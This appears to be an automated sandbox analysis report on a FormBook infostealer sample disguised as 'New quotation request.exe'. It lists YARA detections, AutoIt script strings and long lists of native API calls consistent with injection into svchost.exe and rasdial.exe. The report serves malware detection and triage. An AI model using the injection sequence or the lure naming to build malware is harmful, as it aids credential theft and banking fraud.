                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_0033CABC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,0_2_0033CABC

                E-Banking Fraud

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000006.00000002.3524342515.0000000003220000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3523453487.0000000002B50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.1996376325.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.1996828531.00000000036D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3524429234.0000000004A40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3524534266.0000000002430000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.1997265297.0000000003E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

                System Summary

                barindex
                Binary is likely a compiled AutoIt script file
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: This is a third-party compiled AutoIt script.0_2_002B3B3A
                Source: New quotation request.exeString found in binary or memory: This is a third-party compiled AutoIt script.
                Source: New quotation request.exe, 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: This is a third-party compiled AutoIt script.memstr_345fba03-d
                Source: New quotation request.exe, 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`memstr_9af557e9-6
                Source: New quotation request.exeString found in binary or memory: This is a third-party compiled AutoIt script.memstr_30cf759f-6
                Source: New quotation request.exeString found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`memstr_784a1b55-7
                Initial sample is a PE file and has a suspicious name
                Source: initial sampleStatic PE information: Filename: New quotation request.exe
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0042C8B3 NtClose,1_2_0042C8B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872B60 NtClose,LdrInitializeThunk,1_2_03872B60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872DF0 NtQuerySystemInformation,LdrInitializeThunk,1_2_03872DF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872C70 NtFreeVirtualMemory,LdrInitializeThunk,1_2_03872C70
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038735C0 NtCreateMutant,LdrInitializeThunk,1_2_038735C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03874340 NtSetContextThread,1_2_03874340
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03874650 NtSuspendThread,1_2_03874650
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872B80 NtQueryInformationFile,1_2_03872B80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872BA0 NtEnumerateValueKey,1_2_03872BA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872BE0 NtQueryValueKey,1_2_03872BE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872BF0 NtAllocateVirtualMemory,1_2_03872BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872AB0 NtWaitForSingleObject,1_2_03872AB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872AD0 NtReadFile,1_2_03872AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872AF0 NtWriteFile,1_2_03872AF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872F90 NtProtectVirtualMemory,1_2_03872F90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872FA0 NtQuerySection,1_2_03872FA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872FB0 NtResumeThread,1_2_03872FB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872FE0 NtCreateFile,1_2_03872FE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872F30 NtCreateSection,1_2_03872F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872F60 NtCreateProcessEx,1_2_03872F60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872E80 NtReadVirtualMemory,1_2_03872E80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872EA0 NtAdjustPrivilegesToken,1_2_03872EA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872EE0 NtQueueApcThread,1_2_03872EE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872E30 NtWriteVirtualMemory,1_2_03872E30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872DB0 NtEnumerateKey,1_2_03872DB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872DD0 NtDelayExecution,1_2_03872DD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872D00 NtSetInformationFile,1_2_03872D00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872D10 NtMapViewOfSection,1_2_03872D10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872D30 NtUnmapViewOfSection,1_2_03872D30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872CA0 NtQueryInformationToken,1_2_03872CA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872CC0 NtQueryVirtualMemory,1_2_03872CC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872CF0 NtOpenProcess,1_2_03872CF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872C00 NtQueryInformationProcess,1_2_03872C00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872C60 NtCreateKey,1_2_03872C60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03873090 NtSetValueKey,1_2_03873090
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03873010 NtOpenDirectoryObject,1_2_03873010
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038739B0 NtGetContextThread,1_2_038739B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03873D10 NtOpenProcessToken,1_2_03873D10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03873D70 NtOpenThread,1_2_03873D70
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E14650 NtSuspendThread,LdrInitializeThunk,6_2_04E14650
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E14340 NtSetContextThread,LdrInitializeThunk,6_2_04E14340
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E12CA0 NtQueryInformationToken,LdrInitializeThunk,6_2_04E12CA0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E12C60 NtCreateKey,LdrInitializeThunk,6_2_04E12C60
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E12C70 NtFreeVirtualMemory,LdrInitializeThunk,6_2_04E12C70
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E12DF0 NtQuerySystemInformation,LdrInitializeThunk,6_2_04E12DF0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E12DD0 NtDelayExecution,LdrInitializeThunk,6_2_04E12DD0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E12D30 NtUnmapViewOfSection,LdrInitializeThunk,6_2_04E12D30
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E12D10 NtMapViewOfSection,LdrInitializeThunk,6_2_04E12D10
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E12EE0 NtQueueApcThread,LdrInitializeThunk,6_2_04E12EE0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E12E80 NtReadVirtualMemory,LdrInitializeThunk,6_2_04E12E80
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E12FE0 NtCreateFile,LdrInitializeThunk,6_2_04E12FE0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E12FB0 NtResumeThread,LdrInitializeThunk,6_2_04E12FB0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E12F30 NtCreateSection,LdrInitializeThunk,6_2_04E12F30
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E12AF0 NtWriteFile,LdrInitializeThunk,6_2_04E12AF0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E12AD0 NtReadFile,LdrInitializeThunk,6_2_04E12AD0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E12BE0 NtQueryValueKey,LdrInitializeThunk,6_2_04E12BE0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E12BF0 NtAllocateVirtualMemory,LdrInitializeThunk,6_2_04E12BF0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E12BA0 NtEnumerateValueKey,LdrInitializeThunk,6_2_04E12BA0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E12B60 NtClose,LdrInitializeThunk,6_2_04E12B60
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E135C0 NtCreateMutant,LdrInitializeThunk,6_2_04E135C0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E139B0 NtGetContextThread,LdrInitializeThunk,6_2_04E139B0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E12CF0 NtOpenProcess,6_2_04E12CF0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E12CC0 NtQueryVirtualMemory,6_2_04E12CC0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E12C00 NtQueryInformationProcess,6_2_04E12C00
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E12DB0 NtEnumerateKey,6_2_04E12DB0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E12D00 NtSetInformationFile,6_2_04E12D00
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E12EA0 NtAdjustPrivilegesToken,6_2_04E12EA0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E12E30 NtWriteVirtualMemory,6_2_04E12E30
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E12FA0 NtQuerySection,6_2_04E12FA0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E12F90 NtProtectVirtualMemory,6_2_04E12F90
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E12F60 NtCreateProcessEx,6_2_04E12F60
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E12AB0 NtWaitForSingleObject,6_2_04E12AB0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E12B80 NtQueryInformationFile,6_2_04E12B80
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E13090 NtSetValueKey,6_2_04E13090
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E13010 NtOpenDirectoryObject,6_2_04E13010
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E13D70 NtOpenThread,6_2_04E13D70
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04E13D10 NtOpenProcessToken,6_2_04E13D10
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_02B79620 NtReadFile,6_2_02B79620
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_02B797B0 NtClose,6_2_02B797B0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_02B79710 NtDeleteFile,6_2_02B79710
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_02B794B0 NtCreateFile,6_2_02B794B0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_02B79920 NtAllocateVirtualMemory,6_2_02B79920
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_0031A1EF: GetFullPathNameW,__swprintf,CreateDirectoryW,CreateFileW,_memset,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,0_2_0031A1EF
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_00308310 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,0_2_00308310
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_003151BD ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,0_2_003151BD
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002DD9750_2_002DD975
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002D21C50_2_002D21C5
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002E62D20_2_002E62D2
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_003303DA0_2_003303DA
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002E242E0_2_002E242E
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002D25FA0_2_002D25FA
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_0030E6160_2_0030E616
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002BE6A00_2_002BE6A0
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002C66E10_2_002C66E1
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002E878F0_2_002E878F
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002C88080_2_002C8808
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_003308570_2_00330857
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002E68440_2_002E6844
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_003188890_2_00318889
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002DCB210_2_002DCB21
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002E6DB60_2_002E6DB6
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002C6F9E0_2_002C6F9E
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002C30300_2_002C3030
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002D31870_2_002D3187
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002DF1D90_2_002DF1D9
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002B12870_2_002B1287
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002D14840_2_002D1484
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002C55200_2_002C5520
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002D76960_2_002D7696
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002C57600_2_002C5760
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002D19780_2_002D1978
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002E9AB50_2_002E9AB5
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002BFCE00_2_002BFCE0
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002DBDA60_2_002DBDA6
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002D1D900_2_002D1D90
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_00337DDB0_2_00337DDB
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002BDF000_2_002BDF00
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002C3FE00_2_002C3FE0
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_015C03F80_2_015C03F8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004187731_2_00418773
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0041696F1_2_0041696F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004169731_2_00416973
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004101C31_2_004101C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040E1B31_2_0040E1B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004022FD1_2_004022FD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040E2FE1_2_0040E2FE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004023001_2_00402300
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040E3031_2_0040E303
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004026601_2_00402660
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00402E801_2_00402E80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0042EF331_2_0042EF33
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040FF9C1_2_0040FF9C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040FFA31_2_0040FFA3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384E3F01_2_0384E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039003E61_2_039003E6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FA3521_2_038FA352
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C02C01_2_038C02C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E02741_2_038E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F41A21_2_038F41A2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039001AA1_2_039001AA
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F81CC1_2_038F81CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038301001_2_03830100
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DA1181_2_038DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C81581_2_038C8158
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D20001_2_038D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383C7C01_2_0383C7C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038647501_2_03864750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038407701_2_03840770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385C6E01_2_0385C6E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039005911_2_03900591
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038405351_2_03840535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038EE4F61_2_038EE4F6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E44201_2_038E4420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F24461_2_038F2446
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F6BD71_2_038F6BD7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FAB401_2_038FAB40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383EA801_2_0383EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038429A01_2_038429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0390A9A61_2_0390A9A6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038569621_2_03856962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038268B81_2_038268B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386E8F01_2_0386E8F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384A8401_2_0384A840
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038428401_2_03842840
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BEFA01_2_038BEFA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03832FC81_2_03832FC8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03882F281_2_03882F28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03860F301_2_03860F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E2F301_2_038E2F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B4F401_2_038B4F40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03852E901_2_03852E90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FCE931_2_038FCE93
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FEEDB1_2_038FEEDB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FEE261_2_038FEE26
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840E591_2_03840E59
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03858DBF1_2_03858DBF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383ADE01_2_0383ADE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384AD001_2_0384AD00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DCD1F1_2_038DCD1F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E0CB51_2_038E0CB5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03830CF21_2_03830CF2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840C001_2_03840C00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0388739A1_2_0388739A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F132D1_2_038F132D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382D34C1_2_0382D34C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038452A01_2_038452A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385B2C01_2_0385B2C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E12ED1_2_038E12ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385D2F01_2_0385D2F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384B1B01_2_0384B1B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0387516C1_2_0387516C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382F1721_2_0382F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0390B16B1_2_0390B16B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038EF0CC1_2_038EF0CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038470C01_2_038470C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F70E91_2_038F70E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FF0E01_2_038FF0E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FF7B01_2_038FF7B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F16CC1_2_038F16CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038856301_2_03885630
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DD5B01_2_038DD5B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039095C31_2_039095C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F75711_2_038F7571
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FF43F1_2_038FF43F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038314601_2_03831460
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385FB801_2_0385FB80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B5BF01_2_038B5BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0387DBF91_2_0387DBF9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FFB761_2_038FFB76
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DDAAC1_2_038DDAAC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03885AA01_2_03885AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E1AA31_2_038E1AA3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038EDAC61_2_038EDAC6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FFA491_2_038FFA49
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F7A461_2_038F7A46
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B3A6C1_2_038B3A6C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D59101_2_038D5910
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038499501_2_03849950
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385B9501_2_0385B950
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038438E01_2_038438E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AD8001_2_038AD800
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03841F921_2_03841F92
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FFFB11_2_038FFFB1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03803FD21_2_03803FD2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03803FD51_2_03803FD5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FFF091_2_038FFF09
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03849EB01_2_03849EB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385FDC01_2_0385FDC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03843D401_2_03843D40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F1D5A1_2_038F1D5A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F7D731_2_038F7D73
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FFCF21_2_038FFCF2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B9C321_2_038B9C32
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeCode function: 5_2_0268E3635_2_0268E363
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeCode function: 5_2_026903735_2_02690373
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeCode function: 5_2_02696B235_2_02696B23
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeCode function: 5_2_02696B1F5_2_02696B1F
